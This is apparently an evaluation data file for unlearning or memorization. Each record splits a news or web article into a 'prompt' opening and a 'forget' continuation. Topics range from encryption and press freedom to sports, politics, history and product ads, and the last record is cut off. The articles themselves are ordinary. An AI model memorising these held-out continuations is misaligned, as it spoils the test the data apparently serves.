{"prompt": "On Wednesday, Special Rapporteur on freedom of opinion and expression David Kaye will present his report on international legal protection for encryption and anonymity to the United Nations Human Rights Council. The report is an important contribution to the security conversation at a time when some Western leaders are calling for ill-informed and impossible loopholes in technology--a trend that facilitates surveillance and tends to enable states that openly seek to repress journalists. Ethiopia, which aggressively prosecuted a group known as the \"Zone 9\" bloggers for participating in email encryption training, is one such state. Authorities there jail more journalists than", "forget": "any other country in Africa, other than Eritrea, and it is the fourth most censored country in the world, according to CPJ research. The Ethiopian government is suspected of conducting widespread surveillance inside the county and of hacking the computers of journalists living overseas. \"In a country like Ethiopia where journalists are consistently watched, [we] need to protect their communications and their data to do reports on sensitive issues,\" Endalkachew H/Michael, one of the co-founders of Zone 9, told CPJ by email. \"If a journalist cannot protect her communication with her sources, she cannot practice journalism.\" Michael, who left Ethiopia to study for his doctorate in media studies at the University of Oregon, added: \"I believe encryption is a lifeblood for freedom of expression.\" In his report, Kaye urged states to promote strong encryption and anonymity through legislation and regulation. The report recommended eschewing restrictions on encryption and anonymity \"which facilitate and often enable the rights to freedom of opinion and expression.\" Kaye said measures by states that weaken security online posed a \"serious threat\" to freedom of expression, and suggested that some common state practices and proposals were in violation of international law. The report described blanket measures such as encryption backdoors, weak encryption standards, and the holding of encryption keys in escrow as deeply problematic, and concluded that \"measures that impose generally applicable restrictions on massive numbers of persons, without a case-by-case assessment,\" are almost certainly illegal. In order to satisfy international proportionality principles, the report said, forced decryption by governments must be made on a case-by-case basis, constrained by law, and subject to judicial warrant. The report went further, acknowledging that state regulation of encryption can be \"tantamount to a ban[.]\" It condemned the regulatory practices of countries including Pakistan, Cuba, and Ethiopia, noting that they interfered"}
{"prompt": "Cigarettes, damn cigarettes and statistics We cannot rely on correlation alone. But insisting on absolute proof of causation is too exacting a standard It is said that there is a correlation between the number of storks\u2019 nests found on Danish houses and the number of children born in those houses. Could the old story about babies being delivered by storks really be true? No. Correlation is not causation. Storks do not deliver children but larger houses have more room both for children and for storks. This much-loved statistical anecdote seems less amusing when you consider how it was used in", "forget": "a US Senate committee hearing in 1965. The expert witness giving testimony was arguing that while smoking may be correlated with lung cancer, a causal relationship was unproven and implausible. Pressed on the statistical parallels between storks and cigarettes, he replied that they \u201cseem to me the same\u201d. The witness\u2019s name was Darrell Huff, a freelance journalist beloved by generations of geeks for his wonderful and hugely successful 1954 book How to Lie with Statistics. His reputation today might be rather different had the proposed sequel made it to print. How to Lie with Smoking Statistics used a variety of stork-style arguments to throw doubt on the connection between smoking and cancer, and it was supported by a grant from the Tobacco Institute. It was never published, for reasons that remain unclear. (The story of Huff\u2019s career as a tobacco consultant was brought to the attention of statisticians in articles by Andrew Gelman in Chance in 2012 and by Alex Reinhart in Significance in 2014.) Indisputably, smoking causes lung cancer and various other deadly conditions. But the problematic relationship between correlation and causation in general remains an active area of debate and confusion. The \u201cspurious correlations\u201d compiled by Harvard law student Tyler Vigen and displayed on his website (tylervigen.com) should be a warning. Did you realise that consumption of margarine is strongly correlated with the divorce rate in Maine? We cannot rely on correlation alone, then. But insisting on absolute proof of causation is too exacting a standard (arguably, an impossible one). Between those two extremes, where does the right balance lie between trusting correlations and looking for evidence of causation? Scientists, economists and statisticians have tended to demand causal explanations for the patterns they see. It\u2019s not enough to know that college graduates earn more money \u2014 we want"}
{"prompt": "Ryan Johansen (born July 31, 1992) is a Canadian professional ice hockey centre, an alternate captain for the Nashville Predators of the National Hockey League (NHL). Growing up, he played minor hockey in the Greater Vancouver area until joining the junior ranks with the Penticton Vees of the British Columbia Hockey League (BCHL) for one season. In 2009\u201310, he moved to the major junior level with the Portland Winterhawks of the Western Hockey League (WHL). After his first WHL season, he was selected fourth overall by the Blue Jackets in the 2010 NHL Entry Draft. Internationally, he has competed for", "forget": "the Canadian national junior team at the 2011 World Junior Ice Hockey Championships, where he earned a silver medal and was named to the Tournament All-Star Team. In 2015, he participated in the 2015 NHL Skills Competition and was named the 2015 NHL All-Star Game MVP. Playing career [ edit ] Amateur [ edit ] Johansen was drafted into the Western Hockey League (WHL) 150th overall by the Portland Winterhawks in the 2007 Bantam Draft. Having been offered an athletic scholarship to play with Northeastern University, he opted to play for the Penticton Vees of the British Columbia Hockey League (BCHL) in 2008\u201309 to protect his eligibility for the National Collegiate Athletics Association (NCAA).[notes 1][1][2] He appeared in 42 games for the Vees as a 16-year-old, scoring 5 goals and 12 assists.[2] Convinced of his ability, the Winterhawks persuaded Johansen to forego university and join their club for the 2009\u201310 WHL season.[1] In Portland, he joined a line with fellow 2010 NHL Entry Draft prospects Nino Niederreiter and Brad Ross.[3] He finished the year with 25 goals and 69 points in 71 games, second among league rookies behind Kevin Connauton and second in team scoring, behind Chris Francis.[4][5] Helping the Winterhawks make the playoffs one year after finishing last in the WHL,[3] they advanced to the second round. Johansen added 18 points in 13 games, ninth in league scoring and first among rookies,[6][7] despite playing in only two of four playoff rounds. Johansen rapidly climbed prospect charts for the 2010 NHL Draft, starting the year as a potential second round selection,[8] before rising to 16th among North American skaters when the NHL Central Scouting Bureau (CSB) released its mid-season ranking.[3] Johansen's coach with Penticton noted that, as one of the younger players of his draft class, his skill was often"}
{"prompt": "Today (28 June) marks the 175th anniversary of Queen Victoria\u2019s coronation at Westminster Abbey. Naturally this major national event was attended by members of both Houses of Parliament. Although it was members of the House of Lords who performed key roles in the ceremony, with peers paying homage to the new queen, MPs also had a privileged view of proceedings, with two of the three galleries above the altar being reserved for them. (The third gallery housed the trumpeters of the orchestra.) On the morning of the coronation around 500 MPs assembled in the Commons chamber. One newspaper report recorded", "forget": "that \u2018Some excellent scenes took place on the entrance of Members noted for carelessness in their dress on ordinary occasions, but who appeared upon this instance in splendid attire. Mr Fector and Mr Campbell, the former of whom wore a peach-coloured velvet Court dress, while the latter was attired in the plaid of his clan, were assailed with loud cries of Hear, hear, and as they advanced up the House, the assembly of the first gentlemen in the world stood up, and with one accord shouted their acclamation\u2019. John Fector was the House\u2019s newest member, having been re-elected for Maidstone at a by-election less than two weeks earlier. After prayers, the Speaker announced that there would be a ballot to determine the order in which MPs would take their seats in the Abbey, and the names of counties were drawn from a glass by the Clerk of the House. The representatives of those counties and of the boroughs which lay within them then left the House in turn, the Irish county of Meath being the first to be drawn. The need to dress appropriately meant that Fector\u2019s fellow Conservative MP for Maidstone, Benjamin Disraeli, had initially decided against attending, writing to his sister that \u2018I must give up on going to the coronation, as we go in state, and all the M.P.s. must be in court dresses or uniforms. As I have withstood making a costume of this kind for other purposes, I will not make one now, and console myself by the conviction that to get up very early (eight o\u2019clock), to sit dressed like a flunky in the Abbey for seven or eight hours, and to listen to a sermon by the Bishop of London, can be no great enjoyment\u2019. However, Disraeli changed his mind, writing on 29"}
{"prompt": "Australian businesses have copped a bad deal in Australia\u2019s free trade agreement with China, according to the Australian Fair Trade and Investment Network. Analysis by the AFTINET published last week shows the Australian government made \u201chuge concessions\u201d on temporary labour and investor rights in its \u201cdesperation\u201d to complete the deal. While the FTA was signed last year further details were only released last week. The details of the FTA show the Australian government has increased temporary labour mobility. It has also agreed Chinese investors will be able to sue Australian governments if they can claim a change in law or", "forget": "policy \u201charms\u201d their investment, known as Investor-State Disputes or ISDS, but those provisions are unfinished and ambiguous. A Memorandum of Understanding separate from the text of the trade agreement gives Chinese investors in projects valued over $150 million additional rights to bring in temporary migrant workers. There is no equivalent provision for Australian firms to bring in Australians. Labour market testing of the local labour market to see if local labour is available is optional, not mandatory for the Chinese businesses. They can negotiate the numbers, occupations to be covered, English language requirements, qualifications and experience, and calculation of the terms and conditions of the Temporary Skilled Migration Income Threshold. \u201cThis means that the minimum wage to be paid to the temporary migrant workers will be the subject of negotiation between the project company and the Department of Immigration and Border Protection,\u201d the AFTINET report says. \u201cThe minimum wages and conditions are meant to conform to Australian industrial law, but may be below the actual market rates paid to Australian workers in the industry.\u201d But Russell Wilkinson, national head of customs and international trade at Crowe Horwath, told SmartCompany while there may be issues with the FTA it is also a win for Australian businesses. \u201cIt depends which way you look at it,\u201d he says. Wilkinson says the agreement will allow for better market access to the Chinese economy, improve Australia\u2019s competitive position in a rapidly growing market, promote two-way investment and reduce import costs. \u201cThere is no one way winner. Everybody has to make some sacrifices, but at the end of the day, I think on balance it looks fair,\u201d he says. \u201cI think, for SMEs, it\u2019s about access into a fairly substantial market and in particular for regional small businesses. For farmers and people on the land, it\u2019s"}
{"prompt": "Asheville Scarefest started out as a little mini-con for Pathfinder Society, back in 2013. The idea was to find a way to combine the creepiness of The Best Holiday with the joy of our favourite hobby, and it worked! We ran and played a lot of the scarier PFS games, had some pretty great costume contests, and everyone had a lot of fun. In fact, it went so well that in 2014 we could barely fit in the Wyvern\u2019s Tale (our FLGS \u2014 Friendly Local Gaming Store). So we realized that we\u2019d need to find a bigger place. And once", "forget": "we were looking for a bigger place it occurred to us that there was no reason to limit ourselves to only one game. Most of us don\u2019t only play one game\u2026but for some reason the different gaming groups in the WNC area rarely wound up in the same place at the same time. So in 2015, we threw open the doors for any tabletop game that wanted to come and join us! We got a great response, and wound up running tables of D&D, Savage Worlds, Dread, Shadowrun, World of Darkness, and more. Our goal is to add more variety every year, so if you have a game you\u2019d like to run at some point, let us know! We\u2019ll be back at the beautiful Montreat Convention Center again this year, from October 19-21. Tickets will go on sale Tuesday, May 29th for the bargain price of $35 for the weekend. Plus, we\u2019re offering rooms at the infinitely spooky Winsborough Lodge (we filled it last year, and had a blast), a few rooms at the elegant (and much quieter) Assembly Inn, and possibly other housing situations around the place, depending on interest. And, due to popular demand, we are also offering meal tickets for the entire weekend. Stay tuned!! Thanks, and we\u2019ll see you there! About the denizens\u2026 Those of you who have received our newsletters have occasionally asked about the various interesting creatures that keep popping up around our offices. So for those of you who are perhaps confused by references to the Tiny Turtles, or are unsure why our Twitter feed is sometimes less than eloquent, here\u2019s a quick primer to what\u2019s wandered in so far\u2026 The Minions: The Minions are the core clockwork of the AVL Scarefest team, and keep the paperwork in check and the Overlord happy."}
{"prompt": "Guardian investigation reveals death toll over 12 months with many desperately trying risky routes into UK to escape makeshift camps without sanitation at French port Facebook Twitter Pinterest Calais migrants: \u2018Get to England or die trying\u2019 At least 15 migrants in and around the French port of Calais have died in the past year as an influx of young men and women from east Africa take ever greater risks to get the UK, according to an investigation by the Guardian. Growing numbers of young families, some with children as young as three, have also arrived in the French town in", "forget": "the past few months and are living in makeshift camps without sanitation or running water. The European director of the UN\u2019s refugee agency (UNHCR) described the situation as shameful and warned more people will die in the refugee camps in the coming weeks as temperatures plummet. \u201cThe conditions are totally unacceptable and are not consistent with the kind of values that a democratic society should have,\u201d Vincent Cochetel from the UNHCR told the Guardian. \u201cThis is a shameful situation to witness in the heart of the Europe Union.\u201d The French authorities do not generally keep a record of the migrants who die in Calais, but local charities and the UNHCR say at least 15 people, including young women and teenagers, have died in the past 12 months. Last month one man died after attempting to jump from a motorway bridge onto a moving lorry, and two more were killed in nearby Dunkirk when the truck they were hiding in caught fire. Earlier this month an Eritrean man was knocked down and killed as he looked for a lorry to board. Cochetel said he believed conditions in Calais were now worse than those at refugee camps in Turkey, where hundreds of thousands of people arrive each month to escape the bloodshed in Syria. He said the British and French governments had yet to appreciate the severity of the situation. \u201cYou will have people dying of cold and even more desperate people taking even more risks,\u201d he said. \u201cSome of the people there are becoming so tired and desperate that they are ready to do very dangerous things.\u201d The French port has repeatedly hit the headlines in the past year, amid an increasingly hostile debate in the UK around immigration and asylum. As more people arrived in Calais \u2013 and conditions deteriorated"}
{"prompt": "Mark Schlabach discusses what transpired at Ole Miss that led to Hugh Freeze stepping down and how \"bizarre\" the timing is. (1:31) STARKVILLE, Miss. -- The man who helped take down Ole Miss football coach Hugh Freeze is a lifelong Mississippi State fan who attended his first Bulldogs game 37 years ago and has the university's logo tattooed on his left hand. But he insists he never set out to bring down the Rebels and their coach. It just kind of happened that way. When Steve Robertson was sifting through Freeze's phone records on July 5 as part of his", "forget": "research for an upcoming book he's writing, he discovered phone calls he expected to see. There were mostly calls to recruits and assistant coaches. But when Robertson saw a phone number with a 313 area code, he was stunned by what he discovered in a Google search. A call made on Jan. 19, 2016, lasting one minute, was made to a number connected with several advertisements for female escorts. Robertson then asked his wife to read him the telephone number again to make sure it was correct. The escort service ads came up again. Robertson called Thomas Mars, an attorney who is representing former Ole Miss coach Houston Nutt in his defamation lawsuit against Ole Miss. Mars had been introduced to Robertson through a third party he found while doing online research into Nutt's case. They've since developed a close working relationship, talking on the phone several times a day and sharing what they found in their investigations. \"He asked me to fill in some blanks,\" Robertson said. When Robertson told Mars to enter the phone number in Google, Mars was silent for nearly a minute before yelling an expletive in excitement. Ole Miss had unwittingly provided information that would lead to Freeze's resignation. To understand what has transpired in the last couple of years in Oxford, Mississippi, it helps to know the nature of the rivalry between Ole Miss and Mississippi State. While this seems like the kind of scandal that could only happen in college football, it's really the kind of scandal that could only happen in a state like Mississippi. \"It's very Mississippi,\" Bruse Loyd, a Houston-based attorney, told ESPN last month. \"It's very William Faulkner.\" Loyd, who represents former Ole Miss staffer Barney Farrar, and who said he played junior college football with Mississippi State president"}
{"prompt": "Even though a trio of SUNY-Albany students were caught fabricating a racial hate crime \u2014 and were criminally charged for doing so \u2014 local activists just won\u2019t let the matter die. Three black females had alleged they were the targets of racial slurs and then were attacked by a group of white men on a bus back in January. But video evidence and 911 audio showed no such thing; in fact, they indicated the women were the instigators. Even before these and other facts were known, the university president and Hillary Clinton jumped into the fray to support the women.", "forget": "Two of the three students ended up being expelled from UAlbany with the other suspended, and eventually one confessed to making up the whole story. Local Black Lives Matter-affiliated activists have stuck by the women throughout the ordeal, and continue to do so. A Facebook page titled \u201cIndefensible\u201d was established this past week with the sub-headline \u201cThe Wrongful Prosecution of the UAlbany Three\u201d: As news of the incident spread across social media, concerned students and residents rallied behind the women. But that support wavered once University and local law enforcement officials began suggesting the racial element of the attack was entirely fabricated. With the racial component called into question, many members of the community saw the Black women as the instigators of the altercation. News outlets helped further the narrative that race was not a factor, and the incident was quickly labeled a hoax. Eventually, all three women were expelled from school and formally charged for their involvement in the brawl. Additional charges were levied against the women for falsely reporting the incident to 911, causing \u201cpublic alarm and inconvenience,\u201d and prompting an undue \u201cexpenditure of resources.\u201d MORE: Fake hate: SUNY students who alleged racial attack are charged themselves If race did play a significant role in the UAlbany Bus Incident, it can be argued that all charges stemming from falsely reporting the altercation are questionable at best. Additionally, given the well-documented culture of violence at UAlbany, the swift and severe consequences enacted by the University in response to this incident may be deemed inconsistent with their history of tolerating dangerous student misconduct. Indefensible examines the ways both race and racism are viewed through competing lenses in society, and how dismissing the narratives of the most marginalized can perpetuate existing systems of oppression. It attempts to highlight the inherent problems"}
{"prompt": "Looking for news you can trust? Subscribe to our free newsletters. Ultra-high-net-worth individuals by country, 2011 The tax plan passed by Senate Democrats on Wednesday isn\u2019t really about taxing the rich; it\u2019s about taxing the megarich. As Timothy Noah has explained in The New Republic, the plan would actually reduce taxes on a lot of fairly rich people by renewing the (supposedly temporary) Bush-era tax cuts for everyone except those who make more than $250,000 a year. Even then, Democrats are only proposing a higher marginal tax rate, which means that even people raking in far more than $250,000 will", "forget": "still pay lower taxes on their first quarter million in annual earnings. Crunch the numbers, and it turns out that the biggest losers under the Senate plan are couples who earn more than $1 million a year\u2014mostly multimillionaires and billionaires. While the Senate tax plan could certainly go further in taxing the rich, focusing on the megawealthy makes sense considering how much of our economy is now controlled by them. According to the Internal Revenue Service, there are 66,000 taxpayers who individually control $20 million or more in assets, and all these people put together are worth $4 trillion\u2014more than the net worth of the majority of the US population. The investment bank Credit Suisse, for its part, classifies \u201cultra high net worth individuals\u201d as people with at least $50 million in assets\u2014and according to the bank\u2019s 2011 Global Wealth Databook, more of these UNHWIs live in the United States than anywhere else in the world (see chart above). So perhaps America has lots of multimillionaires because it\u2019s a prosperous country? That\u2019s certainly a factor\u2014but not the only one. Compared to the superrich in the six other countries with the most multimillionaires, American tycoons grab a disproportionately large share of the economic pie: Percent of Income Earned by Top 0.1% of Taxpayers Yet despite raking in such a large share of the national income, our nation\u2019s \u00fcber-wealthy pay very little in taxes by global standards: Top Income Tax Rates in the 6 Countries With the Most Ultra-High-Net-Worth Citizens But don\u2019t higher tax rates at the top slow economic growth? Apparently not, considering the growth rates of our tax-happy competitors. Change in Gross Domestic Product, 2011 So why hasn\u2019t Congress already raised taxes on the rich? Perhaps because the superwealthy have raised a lot more political money than the rest of"}
{"prompt": "Black Girls Rock! Philly is already one of my other favorite cities for good food and art, now I have another reason to visit! Amalgam Comics and Coffeehouse is the first Black Female-Owned comic book store on the East Coast! I can\u2019t think of a better story to end this year with than that ofAriell R. Johnson, reportedly the East coasts first black female comics shop owner.Amalgam Comics & Coffeehouse opens in the and coming Kensington part of town and will offer not only comics but a cozy coffeeshop vibe. This \u201cgeeky\u201d hybrid hopes to contribute to the burgeoning Kensington", "forget": "section of Philadelphia. Amalgam hopes to build community around comics, coffee, and relaxing with friends, and also through hosting geeky and diversity-themed workshops, movie/TV screenings, book signings, and BYOB nights. \u201cI got the idea for the shop about 12 years ago, when I was still attending Temple University,\u201d said Amalgam\u2019s owner, Ariell R. Johnson. \u201cMy favorite coffee shop was directly across the street from my comic book store of choice. So, each Friday, I would buy my books at Fat Jack\u2019s, go across the street to Crimson Moon, and read everything I bought. Johnson hopes to highlight diversity in the shop\u2014along with quality caffeine: I t will be a legit store, so expect to see the heavy hitters that we all know and love,\u201d she said. \u201cBut in addition to those usual suspects, we want to showcase diverse comics, creators, and characters. We think that comics are for everyone and anyone that loves comics-women, people of color, and the LGBTQ community. We will actively look to stock titles that showcase people in these groups, right long with Superman, Batman, Captain America, and Thor.\u201d This story encapsulates everything that happened in comics in 2015: women in comics as characters, readers and carters were no longer a pleasant surprise but the way things are; diversity was often contentious and controversial, but widening the audience was not only a way to get more readers but in general, the right thing to do. And while we were saddened to see Locust Moon close shop in Philadelphia, hopefully Amalgam will carry the torch for indie comics. Also the coffeehouse/comics shop model is one that I\u2019ve seen a few places. Having a \u201cchill out\u201d area seems to be essential to the community building that has kept local brick and mortar stores alive. It\u2019s also part of"}
{"prompt": "(Editor\u2019s note: The following is an email we received from a listener and his wife, who play Oxi and Kitkam on The Shadowlands server. Our sincere thanks to them both for providing such a comprehensive report!) I thought I\u2019d give you an exclusive on the happenings at the Cantina Tour in Dallas on May 17th. My wife and I went to meet with the developers and other fans. Yes, she is an active SWTOR player, I am a very lucky man and acknowledge this. We had a great time. About eighty people showed up, nearly all of them players. It\u2019s", "forget": "worth noting that about a quarter of them were women, and there were many player couples there as well. Four BioWare people were there to answer questions and meet the fans. Damion Schubert (Lead Designer), Jesse Sky (Senior Designer), Amber Green (Live Services Specialist \u2013 a.k.a. helps fix bugs and writes the patch notes) and Eric Musco (Community Manager a.k.a. a ball of energy). Overall it was a very casual atmosphere. All types of fans were present (both the good and the troll). The room was packed, especially at the beginning. Free appetizers and drinks were available all night, provided by BioWare. Prizes were also given out. Everyone got the much coveted Tauntaun Fawn code. A couple of people got Star Wars Gentle Giant bookends (pricey!), signed copies of SWTOR books were given out, and even clothes and hats. Most of the night was spent mingling, but for about an hour the developers took a casual Q&A from the room-at-large and were very honest and as candid as they could be. I tried to write down most of the questions. I\u2019ll paraphrase their answers. I wasn\u2019t able to cover all the questions asked at the event, nor their answers. Please note that any answers I heard from the BioWare team are being interpreted by me writing quickly on a small notepad, and thus should not be weighted with the same degree of importance as if they\u2019d come from BioWare. Any errors reporting are my own, not theirs. Questions 1) Will we get Legacy Datacrons? Jesse Sky: High on his own list of wants, but no ETA. 2) Can we get Dye Packs for Speeders? Eric Musco: Probably not, because speeders are an ABILITY, not an item. 3) Legacy Commendations Transfers? Jesse Sky: Likes idea but no ETA. They\u2019ve talked about"}
{"prompt": "ASUS Google Nexus 7 16GB Android Tablet (2013 version) with a 1080p Full HD Display and a Quad-Core Processor This award-winning tablet races through pre-loaded Google apps with its 1.5GHz quad-core processor, and 5.1 surround sound lends clarity to business calls and video game sound effects. CNET Editor\u2019s Choice Tablet CNET called the ASUS Google Nexus 7 \u201cthe best tablet value on the market\u201d because of its HD screen, battery life, and speedy performance. The latter is thanks to the quad-core processor, which the review notes helps seamlessly power racing games and create \u201cthe best-performing small tablet for gaming.\u201d Create", "forget": "Kid-Friendly Profiles with Android 4.3 You can restrict kids\u2019 access to websites and other questionable content by creating kid-friendly profiles on the Jelly Bean operating system. You can also download your choice of over one million apps available on Google Play. Easy-to-Hold Design The tablet\u2019s thin bezel makes it easier to hold it with one hand, freeing up the other to tap through apps or high-five strangers. Specifications ASUS Google Nexus 7 Tablet Model number: ASUS-2B16 7\u201d 1080p full HD display 2.3 million pixels create 323ppi 1.5GHz quad-core Qualcomm Snapdragon S4 Pro processor 2GB RAM 16GB hard drive Android 4.3 Jelly Bean operating system Pre-loaded with Chrome, Gmail, YouTube, and Hangout apps Buy apps from Google Play 1.2MP front and 5MP rear HD cameras 5.1 virtual surround sound Narrow bezel Condition: new 1-year warranty from ASUS Dimensions: 4.5\u201dx7.9\u201dx0.35\u201d, 0.6lb. In the Box: Tablet, charger, manual, USB cable ASUS was named for Pegasus, a symbol of wisdom and knowledge in Greek mythology. In addition to these two tenets, the company mirrors the winged horse in another significant respect: both entities have taken part in a series of epic journeys. ASUS notebooks have lived on the MIR Space Station. They were the first to work in the thin, icy air atop Mount Everest. As fireworks exploded over the opening ceremonies of the Beijing Olympics in 2008, ASUS servers directed the show. ASUS motherboards have probably even found their way directly into your home or office, as they\u2019re present in one of every three computers and one in every two pizza delivery men. That\u2019s a lot of ground for the Taiwanese company to cover in less than three decades. Tablet FAQ Answers to common questions for first-time tablet buyers. Answers to common questions for first-time tablet buyers. Tablet Buying Guide A simplified look"}
{"prompt": "This Arsenal is different. That, at least, is what they are trying to prove and so far the evidence is in their favour. The players know that past slip-ups mean many people remain unconvinced of Arsenal's ability to sustain their title challenge as Manchester City and Chelsea breathe down their necks but they are determined not to buckle. The fact that this victory over Fulham could be described as routine shows the progress Ars\u00e8ne Wenger's team have made. \"That's something that has changed from last season,\" said Santi Cazorla, who sealed the win with two sweetly taken second-half goals. \"There", "forget": "were games last year where we'd go 2-0 up and we'd end up losing it or under pressure. For a title-winning team that cannot happen. This season the team is much more solid, we're much better at closing out games. We need to continue this form because of Chelsea and Manchester City. \"Maybe at the start of the season nobody put us up as high as Manchester City or Chelsea, maybe because of the signings they made, but it's ultimately demonstrated on the pitch and right now Arsenal are above them. Our objective is to keep fighting with them. We're top because up until now we've been the best team.\" Wenger attributes much of the credit for his team's improvement to its new defensive fortitude. Per Mertesacker and Laurent Koscielny have formed an authoritative central defensive partnership, Wojciech Szczesny is becoming ever more reliable, the full-backs are secure and the midfield, especially Mathieu Flamini, provides sturdy protection to the rearguard. Wenger suggests his team is now locked into a virtuous circle. Each victory is both a stride forward and a hiccup avoided and enhances the side's belief that they can last the distance. \"The consistency of the results of the team since January 2013 has strengthened that maturity and the fact that we are defensively more stable gives us more of a serene attitude and that helps a lot,\" he says. That \"serene attitude\" makes it hard to envisage Arsenal collapsing like they did the last time they had so many points at this stage of the season. That was in 2007-08, when they had 54 points after 22 matches (compared with 51 now) but finished third after going on a wretched run of a single win in eight league games between February and early April. That hapless streak was"}
{"prompt": "The Dallas Police Officers Association PAC endorsed Texas Governor Greg Abbott in his bid for re-election. The nod comes on the same day Dallas County Sheriff Lupe Valdez announced her run against the incumbent governor in 2018. Frederick Frazier, 1st vice president of the Dallas Police Association PAC praised the governor for his commitment to increasing public safety and for building a strong relationship between law enforcement officials and their communities, according to a statement provided to Breitbart Texas by the Abbott for Governor Campaign. \u201cGovernor Greg Abbott has been a true advocate for law enforcement in Dallas and throughout", "forget": "our state,\u201d Frazier said. \u201cHe has strengthened protections for our officers in the line of duty, and has worked to make sure we have the resources to better serve our communities. Texas needs four more years of Governor Greg Abbott to ensure our officers here in Dallas have the support they need to keep our communities safe.\u201d Governor Abbott has put law enforcement officers first during his tenure as the head of state government. Following the murder of five Dallas-area police officers in July 2016, Governor Abbott flew back from Texas to attend a press conference with Dallas Mayor Mike Rawlings despite having been severely burned. The governor did not announce his injury until after the funeral to avoid distracting attention from the slain officers. Doctors advised the governor not to attend the meeting because of the risk of infection. Abbott\u2019s first words were, \u201cI\u2019ve got to come back,\u201d spokesman Matt Hirsch told the Dallas Morning News after the word of the governor\u2019s injury spread. \u201cIt was hugely important for him to be in Dallas the next day without regard to his well-being.\u201d In response to the murder of the officers, Abbott began the process of issuing rifle-resistant body armor to police officers. He also proposed legislation to make targeting police officers with acts of violence a hate crime, Breitbart Texas reported. \u201cI, along with so many Texans, have a deep respect for our law enforcement officers,\u201d Abbott said while thanking the officers association for their endorsement. \u201cThey put their lives on the line each and every day to make our communities safer, and we remain grateful for their sacrifice and dedication.\u201d \u201cI am committed to increasing support and protections for our police officers, and I will do whatever I can to make sure they know that Texans have their"}
{"prompt": "Jon Watts, director of enterprise services at Deloitte, has weighed in on Bitcoin regulatory issues with clear and cogent arguments. Watts\u2019 thesis is that Bitcoin is at the crossroads, and the race to regulate it could be happening much too soon. Deloitte is a professional services firm headquartered in New York. Considered one of the Big Four auditory firms along with PwC, Ernst & Young, and KPMG, Deloitte is the second-largest professional services network in the world by revenue and largest by the number of professionals. The company provides audit, tax, consulting, enterprise risk and financial advisory services with more", "forget": "than 200,000 professionals in more than 150 countries. Watts , based in the New York office, is a core member of Deloitte\u2019s Capital Markets Technology practice and a national leader of the U.S. Foreign Account Tax Compliance Act (FATCA) service offering. The reputation of Deloitte should ensure that Watts\u2019 advice on Bitcoin regulation is taken into account by regulators and policymakers. \u201cThe Bitcoin 'blockchain' is a fundamental breakthrough in computer science that solves what seemed to be an unsolvable problem: how to ensure that a digital transaction happens only once,\u201d notes Watts. \u201cYet there is a critical question that is hanging over Bitcoin, potentially slowing the pace of innovation, and adoption, i.e., how will Bitcoin be regulated\u200b?\u201d Watts argues that global policymakers and regulators should consider giving Bitcoin more time to develop before insisting on regulation. Other key technology innovation such as the telephone, airplanes, radio, mobile phones, and the Internet, were given much more time to develop before coming under serious regulatory supervision. \u201cIn fact, serious efforts to regulate disruptive technologies have traditionally been a function of the technology achieving mass adoption,\u201d says Watts. Overwhelming regulatory supervision of Bitcoin is happening much too soon, only six years into the development of Bitcoin and \u201ca long way away from the time it has typically taken for new technologies to achieve mass adoption in the past.\u201d In fact, Bitcoin is still very far from mass adoption, and represents but a very small fraction of the global economy. Though Bitcoin is all over the press \u2013 albeit often with shallow and sensationalist coverage \u2013 and venture capital investments in the Bitcoin space are taking off, only a tiny minority of people own bitcoin and use it to pay for goods and services. \u201cThe highest daily dollar volume for Bitcoin transactions globally in"}
{"prompt": "As a graduate student in the 1960s, I joined Irven DeVore and Richard Lee in a multifaceted study of the !Kung San, then still hunter-gatherers, in northwestern Botswana. Some anthropologists were persuaded that such studies would shed light on human origins, and some psychologists were convinced that infancy research had a similar role to play in helping us understand the individual. So it seemed logical to investigate, so to speak, the origins of the origins. Not that either of those propositions was uncontroversial. Both Franz Boas's disciples in the United States and the structural anthropologists in Europe had rejected any", "forget": "notion that evolution orders cultures, and so there were those who found the claims of researchers on hunter-gatherers to be nothing less than offensive. We were, however, careful to point out that hunter-gatherers were not different from other people biologically or even psychologically, but were perfectly modern human beings living in the very circumstances that dominated human evolution. It was this overlap between them and early human beings\u2014the ones who lived before the invention of agriculture\u2014that led us to think that those who persisted in this way of life could shed light on our origins. Then there was the question of childhood development. The idea that what happens in infancy might be of overriding importance in later development was also questionable. Some observers argued that the first three years of life were all that really mattered. (The re-emergence of that idea about a decade ago, in the language of brain science, didn't make it any more valid.) It was probably the lingering sway of psychoanalysis that made this such a tempting hypothesis in the 1960s, but attempts to reconstruct in retrospect the influences that shape patients' lives do not constitute scientific evidence. While I was in Botswana, Jerome Kagan\u2014one of the most brilliant of infancy researchers and one of my advisers\u2014was doing research in rural Guatemala, where he, Robert Klein, and other collaborators saw infants who got none of the stimulation thought essential by middle-class parents in America, but who at age 10 performed very nicely, thank you, on basic age-appropriate cognitive tests. Kagan became deeply skeptical of the importance of early experience. By the late 1990s, as Judith Rich Harris conducted a frontal assault on \"the nurture assumption,\" Kagan began to think that the pendulum had swung too far. But by then he, and many other developmentalists, were committed"}
{"prompt": "Following a monster sophomore campaign at Cartersville High School in Georgia that saw him pass for 3,655 yards and 43 touchdowns, Trevor Lawrence keeps his spot as the No. 1 player in the nation and headlines Thursday\u2019s unveiling of the first full Top247 for the 2018 class. With the release, we have a starting point for the names to know among the nation's top soon-to-be juniors. CLICK HERE FOR THE TOP247! The list will change; it will evolve, prospects will drop and new names will emerge but at this early stage in the recruiting process, it's time to recognize the", "forget": "players that have already caught the collective eye of the college recruiting world. THE FIVE-STARS There are four initial five-stars in the Top247 for 2018: 1. Trevor Lawrence, QB, Georgia \u2013 A quarterback with a shot to go wire-to-wire as the nation's top ranked prospect. He checks every box: Size, arm-strength, athleticism, productivity. His recruitment looks like a Georgia-Tennessee battle. 2. Brey Walker, OT, Oklahoma \u2013 He's what offensive tackles look like in cartoons. A freak of a body at 6-foot-6 and 290 pounds who is also one of the nation's top heavyweight wrestlers. He's already committed to Oklahoma. RELATED: Walker among a few players in the hunt for Lawrence's top spot 3. Zamir White, RB, North Carolina \u2013 Whatever you want a running back to be, this kid can be it. A big, powerful back with speed, White has 20 offers but is high on Clemson and North Carolina at the moment. 4. Xavier Thomas, DE, South Carolina \u2013 The game-changing edge rusher that every defense is looking for. Thomas is ready to carry the torch for the defensive line tradition in the Carolinas for the 2018 cycle. TEAM RANKINGS SHUFFLE Based on the new grades handed out within the Top247 and beyond, Miami is clearly building a special class. Mark Richt has locked up three Top247 prospects in cornerbacks Josh Jobe and Gilbert Frierson and wide receiver Daquris Wiggins. The Hurricanes have two more committed from outside the Top247 in all-purpose back 